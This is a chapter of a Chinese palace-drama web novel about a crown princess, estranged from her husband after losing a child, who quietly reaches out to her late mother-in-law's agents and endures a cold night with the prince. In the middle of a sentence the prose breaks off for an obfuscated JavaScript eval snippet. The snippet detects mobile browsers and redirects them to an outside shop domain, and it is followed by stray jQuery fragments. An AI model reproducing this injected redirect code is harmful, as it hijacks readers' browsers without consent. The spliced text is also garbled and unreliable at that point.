沈昱去了李承徽的院子。
李承徽的院子离主院最近，隔着两道粉墙、一条穿廊，琴音能隐隐约约传过来。
此刻那琴音正顺着夜风流淌，清雅婉转，像有人在月下独语，诉着说不尽的情意。
但身后是沈环的哭声。
那孩子被乳娘抱下去了，哭声却仍在夜风里飘散不去，一缕一缕地钻进耳朵。
秦宝宜站在廊下，听着这两股声音——
荒唐。
像看一出戏，台上锣鼓喧天，台下空无一人，她自己都不知道自己站在这儿做什么。
琴声还在响。
李承徽的琴弹得好，这是东宫上下都知道的事。沈昱常去她那儿听琴，一去便是大半个时辰。
从前秦宝宜不在意——她是正妃，是太子妃，是将来要母仪天下的人，犯不着和妾室争这些。
今夜那琴声却格外刺耳。
不是嫉妒。是那句话——“孤补偿给你个孩子”。
仿佛孩子只是个可以替换的物件。死了一个，补一个就行。
他明知她不愿意。她说过“不养别人的孩子”。庶长子出生那日，她亲口对他说的。那时他握着她的手，说“好”。
如今他把沈环硬塞过来。
这不是补偿。
这是践踏。
她做了那么多，可他只用轻飘飘一句话，把所有的账都平了。
她抬手，按了按眉心。“青黛，我想听琵琶。”
青黛愣了一下，旋即应声出去。
不多时，帘子掀开，进来一个中年女人。
她生得寻常，穿着寻常的教坊司宫装，眉眼间带着一股子寡淡。
她怀里抱着一把琵琶，弦是老弦，木是老木，连绑弦的丝绦都发白了。
她走到角落，也不行礼，只是微微欠了欠身，便坐下。
然后拨弦。
第一声响起来，秦宝宜的手指便轻轻蜷了一下。
那琵琶声冷、硬、像是自言自语。没有讨好，没有逢迎，甚至没有“在弹给人听”的意思。
它就那样响着，一声一声，像冬夜里的更鼓，像雪地里的足印，像——
像先皇后。
秦宝宜闭上眼，听了一会儿。
这个女人叫翠翠。是宫中乐坊的琵琶女，也是先皇后留给她的帮手。
先皇后把她交给她时，她还不懂什么叫“帮手”。
那时她刚嫁进东宫，满心满眼都是沈昱，以为这世间最大的幸事便是嫁给了心上人。
先皇后握着她的手，说：“宝宜，宫里不比家里，你留个心眼。”她点头，却没往心里去。
此后五年，她几乎没用过翠翠。
在自以为与沈昱两情缱绻的那几年，她的日子围着沈昱转。
她心甘情愿地被他的权力围裹，被他的温柔驯化，被他一点一点地——
阉割。
东宫的妃妾虽然多，但她竟未感受过勾心斗角。
“就弹个《长相思》。”秦宝宜说。
这是先皇后最喜欢的一首曲子。
翠翠的手指一顿，然后琴音一转，那熟悉的调子流淌出来。
青黛退出去，守在门外。
殿内只剩下琴声。那琴声盖过了远处隐约琴音，一声一声，像潮水漫上来，把这间屋子与外界隔绝开来。
“冯坤呢？”秦宝宜问。
翠翠的手指未停。她的目光落在琴弦上，嘴唇却动了动，声音压成一线，从琴音里透出来：
“皇上驾崩后，冯坤没出养心殿。”
秦宝宜的手指轻轻蜷了一下。
“死了？”
“大概没有。”翠翠答。她的手指继续拨动，琴音起伏，像在说一件极寻常的事，“若死了，会有消息。如今没消息，便是还活着。”
秦宝宜沉默了一会儿。
活着。留在养心殿。不出来。
这意味着什么？
“你……”秦宝宜顿了顿，“都能做什么？”
翠翠的琴音顿了一瞬。
那停顿极短，短到几乎察觉不出，但秦宝宜注意到了。她看见翠翠的手指悬在琴弦上方，停了一息，才重新落下去。
“主子若早有此问，”翠翠的声音从琴音里透出来，低低的，像从地底涌上来的泉水，“翠翠能做的会更多。”
她顿了顿，手指继续拨动。
“皇后娘娘去世后两年，留下的人被太子殿下拔了不少。”她说，“但还有的用。”
秦宝宜没有说话。
两年。那时她正沉浸在“两情缱绻”的幻梦里，沈昱每日下朝都来看她，有时带一捧新摘的海棠，有时是解闷的零嘴。她以为那是世间最好的日子，却不知道他一边哄着她，一边把皇后留下的人一个一个拔掉。
“我要见冯坤。”秦宝宜说。
翠翠的琴音慢下来。手指拂过琴弦，一声一声，像在思量什么。
良久，她说：“奴婢试试。”
话音刚落，殿外忽然传来青黛的声音——
“奴婢给殿下请安。”
下一瞬，门被推开。
夜风灌进来，吹得烛火晃了几晃。
他的目光扫过殿内，扫过角落里的翠翠，扫过她怀里的琵琶，最后落在秦宝宜脸上。
“这么晚了，”他说，声音温和如常，“还不歇着？”
秦宝宜站起身，屈膝行礼：“臣妾睡不着，听听琵琶解闷。”
沈昱没有立刻说话。
他走进来，靴底踏过地砖，一步一步，不疾不徐。经过翠翠身边时，他停了一下，目光落在她怀里的琵琶上，又移开，继续往前走。
他走到秦宝宜面前，低头看她。
烛火映在他脸上，将那眉目照得愈发温润。他抬手，替她拢了拢鬓边的碎发，动作轻柔，与五年来每一个寻常的夜晚别无二致。
“你院子里的琵琶声，”他说，声音不高不低，“将孤赏琴的兴致都搅乱了。”
他说这话时带着笑，像是在说一件趣事。但秦宝宜听出来了，那笑里没有温度。
她垂下眼，对翠翠说：“不听了。退下。”
翠翠抱着琵琶起身，低头往外走。
帘子落下，隔绝了外面的夜色。
殿内只剩下他们两个人。
沈昱走到她身边，坐下。然后他伸出手，将她的手从袖中拉出来，握进掌心里。
很紧，像怕她跑掉。
“不赌气了？”他问。他竟以为她用琵琶搅乱琴音，是在争宠。
秦宝宜没有说话。
她只是任他握着，望着他，脸上没有表情。
不是冷，不是硬，只是一片空白。像一张还没来得及落笔的宣纸，等着被写上什么。
沈昱的眉头微微蹙了一下。
那蹙动很轻，轻到几乎察觉不出。但他很快把它压下去，换上那副熟悉的温润神色。
“窦氏虽是伺候孤多年的人，”他说，声音放得很软，像在哄一个闹脾气的孩子，“但她得罪了你，处置便处置了。”
他顿了顿，看着她。
秦宝宜仍是没有说话。
沈昱握着她的手，拇指轻轻摩挲着她的手背。那动作很轻，很慢，像在安抚一只受惊的小动物。
“沈环、沈琪、沈璋，”他说，“这三个庶子，你喜欢哪个，孤将人送来替你解闷。”
秦宝宜的手指微微一僵。垂下眼，望着被他握着的手。他的手指修长，骨节分明，此刻正紧紧箍着她的，像箍着一件属于他的东西。
她侧过脸，望着他。
“臣妾谢过殿下。”声音客气、平稳、疏离，像在谢一个不太熟的人递过来一杯不想喝的茶。
沈昱的眉头蹙得更深了。
“孤不喜欢你这样。”他说。
他松开握着她的手，转而扣住她的下巴，将她的脸扳过来，正对着自己。他的力道不重，却不容拒绝，指腹贴着她的下颌，微微用力。
“孤不追究你先斩后奏，”他说，一字一顿，“这事便翻篇了。”
他不是在沟通，是在单方面宣布结束。
“好。”她听见自己说。
他的手掌重新落回她的手背上，轻轻拍了拍，像拍一件终于安放妥当的东西。
“初六，”他说，“孤登基时，会册立你为皇后。”
秦宝宜垂着眼，没有接话。
沈昱继续说下去，声音温和得像在说一件理所当然的事：
“一国之母，便不能再耍这些小孩子脾气了。”
他顿了顿，声音放得更软了些：
“待朝局稳定了，咱们还会有孩子的。”
秦宝宜抬起眼。
“不。”她说。
沈昱愣了一下。
那愣怔很短，短到几乎察觉不出。但他的手指停住了，停在她的手背上，一动不动。
“不？”他轻轻重复。
秦宝宜望着他。
“我现在就要。”
不是“臣妾”，是“我”。
她不是不知道这话意味着什么。不是不知道此刻提这件事有多不合时宜。
但她还是要说。
因为那孩子，不再是为他生的了。
与情爱无关，与他沈昱无关。是她需要一个孩子——一个流着沈秦两家血脉的孩子。用于稳固地位，用于连结两姓，用于在必要时——
成为一枚护身符。
她必须在还能怀的时候怀上。
在他还肯哄着她、还不敢对秦家亮剑的时候怀上。
“你身子还没养好。”沈昱说。
他的声音仍是温和的，但秦宝宜听出来了，那温和里多了一丝别的东西。像一潭静水，底下暗流涌动。
“太医说，”秦宝宜说，“再养一个月便可。”
沈昱没有说话。
他看着她，目光幽深，像在权衡什么。
殿内静下来。
炉火噼啪作响，窗外风声时远时近。更漏不知滴到第几刻，一滴一滴，像时间在慢慢流走。
良久，沈昱动了。
他抬手，轻轻按在她的后颈上，将她往自己怀里带了带。然后他俯下身，嘴唇落在她额发上。
“宝宜。”他的声音闷在她发间，低低的，带着一丝不易察觉的叹息。
“咱们重新开始。”
更漏将尽，子时三刻。
正殿的烛火熄了大半，只剩床头一盏孤灯，映着藕荷色的帐幔。
帐内暖意融融。地龙烧得足，鎏金熏笼里燃着她惯用的百合香，香气丝丝缕缕，弥漫在空气里。锦被是今冬新制的，杏红色妆花缎面子，内里絮着上好的丝绵，盖在身上轻软暖和。
一切与五年来无数个夜晚无异。
秦宝宜平躺着，望着帐顶。
藕荷色的暗纹在烛光里明明灭灭，海棠缠枝，五福捧寿。她嫁进来那夜，也是望着这片帐顶。那时她心跳如擂，连呼吸都不敢太重，怕惊着身边那个人。
那个人侧过身来，贴着她的耳朵，温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214291|197441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声说：“孤盼这一天，盼了许多年。”
彼时她信。
此刻那个人正在她身边。
他的手臂环过她的腰，指尖搭在她肋下，是熟悉的姿势。她甚至能感觉到他指腹的温度，隔着中衣，一寸一寸熨过来。
她没有动。
不是僵硬，不是抗拒，是真正的“没有动”——她只是一个物件。
摆在他床上的、属于他的、任他处置的物件。
沈昱也没有再动。
两个人就这样躺着，像两件被收进同一口箱子的瓶子，挨着，但没有温度。
良久，他开口了。
“宝宜。”
他的手指动了动，从她肋下往上移。指尖划过中衣的布料，一寸一寸，很慢，像在丈量什么。
那指尖停在她锁骨的位置。
那里有一颗极小的痣，米粒大，藏在领口边缘。他从前喜欢用嘴唇去碰那里，每次都会引得她缩起肩膀，笑着躲开，说“痒”。
此刻他的指尖在那颗痣上，停了很久。
她没有躲，也没有笑。
她只是继续望着帐顶，呼吸平稳得像一潭死水。
“宝宜。”他又唤她。
她“嗯”了一声，算是回应。
“你看着孤。”
她转过头来，看他。
目光相接的那一瞬，沈昱顿了一下。
她的眼睛还是那双眼睛。杏核形，眼尾微微上挑，瞳仁漆黑。
她只是在“对着他”。像对着一个方向，像对着一堵墙，像对着任何一个与她无关的东西。
他的手指从她锁骨滑下。
沿着中衣的系带，轻轻一挑。
布料散开，烛火照进来，在她身上投下浅淡的光影。他的目光从上往下，慢慢滑过她的肩颈，她的锁骨，她的——
秦宝宜仍然平躺着，没有动。
没有遮掩，没有瑟缩，也没有迎合。她的身体就这样摊开着，像一本翻开的书，任他阅读。
只是那书里已经没有字了。
只有空白的纸页，一页一页，翻过去也是空白。
沈昱的动作顿了一瞬。
然后他俯下身。
从前她会微微偏头，露出更多肌肤，手指会插进他的发间，轻轻摩挲他的后脑勺。
此刻她没有任何反应。
她只是继续平躺着，呼吸的节奏都没有变。
他的手掌覆上来，掌心温热，指腹有薄茧。从前她会轻轻吸气，会微微拱起身体，会在他耳边唤“殿下”，声音软得像化了的蜜。
此刻她只是躺着。
她的眼睛望着帐顶，望着那一片藕荷色的暗纹。
海棠缠枝，五福捧寿。
她数到第七朵海棠时，感觉到他的气息变得急促。
他的动作开始变得急切。像要确认什么，像要撞开什么，像要从她身上找到什么。他的手掌扣住她的腰，指节微微收紧，把她往自己怀里带。
她顺着他的力道靠过去。
软绵绵的。像一袋棉花，像一捧水，像任何没有骨头的东西。
他的呼吸喷在她耳侧，滚烫的，急促的。她感觉到他的身体绷紧了，感觉到他的手指陷进她的腰侧，感觉到——
她闭上眼睛。
像等待一场雨停，等待一阵风过去，等待一件事做完。
不知过了多久，他的动作慢下来，最后停住。
他的额头抵在她肩窝里，呼吸粗重，汗湿的鬓角贴着她的肌肤。他的手掌还扣在她腰间，指节微微发抖。
秦宝宜睁开眼睛。
帐顶还是那片帐顶。烛火矮下去一截，光影暗了些。更漏不知何时停了，大约是忘了添水。
她感觉到他的嘴唇动了动，贴着她的肩窝，发出一个含混的音节。
像是她的名字。
她没有回应。
她只是抬起手——这是今夜她第一次主动触碰他——轻轻覆在他的后背上，拍了拍。
一下，两下，三下。
像拍一个需要安抚的孩子。
然后她收回手，重新平放在身侧。
沈昱僵住了。
那一瞬间，他整个人像被定住了一样，连呼吸都停了。
他抬起头，看她。像在看一个陌生人。
“殿下累了。”她说，声音很轻，像怕惊着他。
“睡吧。”
她伸手，替他将滑落的锦被拉上来，盖好他的肩膀。动作轻柔，妥帖。
然后她翻过身去，背对着他。
帐幔轻轻晃动，烛光在她侧脸上投下浅淡的阴影。
沈昱没有动。
他仍保持着那个姿势，额头几乎要抵上她的后背，却悬在半空，没有落下去。
帐内静极了。
静得能听见窗外风吹过檐铃的声音，叮当，叮当，一下一下，像有人在远处敲着更鼓。
良久，他慢慢躺回去，平躺着，也望着帐顶。
如今她就在他身边。
只隔着半臂的距离。
他却觉得，她离他，比那天边的月亮还要远。
外面起风了。
窗棂被吹得轻轻作响，烛火晃了晃，终于熄灭。
黑暗涌进来，淹没了帐幔，淹没了床榻，淹没了两个人之间那半臂的距离。
他听见她的呼吸。
平稳的，均匀的，像已经睡着了。
他没有睡。
他睁着眼睛，望着那片黑暗，一直望到天亮。